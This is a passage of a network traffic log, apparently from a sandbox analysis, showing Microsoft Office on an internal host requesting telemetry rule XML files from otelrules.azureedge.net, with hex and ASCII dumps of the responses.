2024-10-29 17:42:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 20ac8722-c01e-00ad-30e6-27a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-r197bdfb6b48v72xb403uy6hns00000007d000000000fkbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:38 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:38 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-16849878b78nx5sne3fztmu6xc00000007sg00000000q6zu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:38 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-16849878b78fhxrnedubv5byks000000058g0000000045y4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:38 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-16849878b782d4lwcu6h6gmxnw00000006h000000000es99 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-15b8d89586flzzksdx5d6q7g10000000020g00000000999t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-16849878b78km6fmmkbenhx76n000000066g00000000eq8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-16849878b787wpl5wqkt5731b400000007m000000000hsss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174238Z-15b8d89586fqj7k5h9gbd8vs9800000007y000000000fddm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:38 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 91e52722-a01e-0098-6f3d-268556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174239Z-r197bdfb6b466qclztvgs64z1000000008f000000000c2s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:39 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:39 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ebb042ec-b01e-0021-7980-29cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174239Z-17c5cb586f6wnfhvhw6gvetfh4000000067g00000000g4ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:39 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:39 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174239Z-16849878b78tg5n42kspfr0x4800000006yg000000004031 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:39 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:39 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174239Z-16849878b786fl7gm2qg4r5y70000000075g000000009p8m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
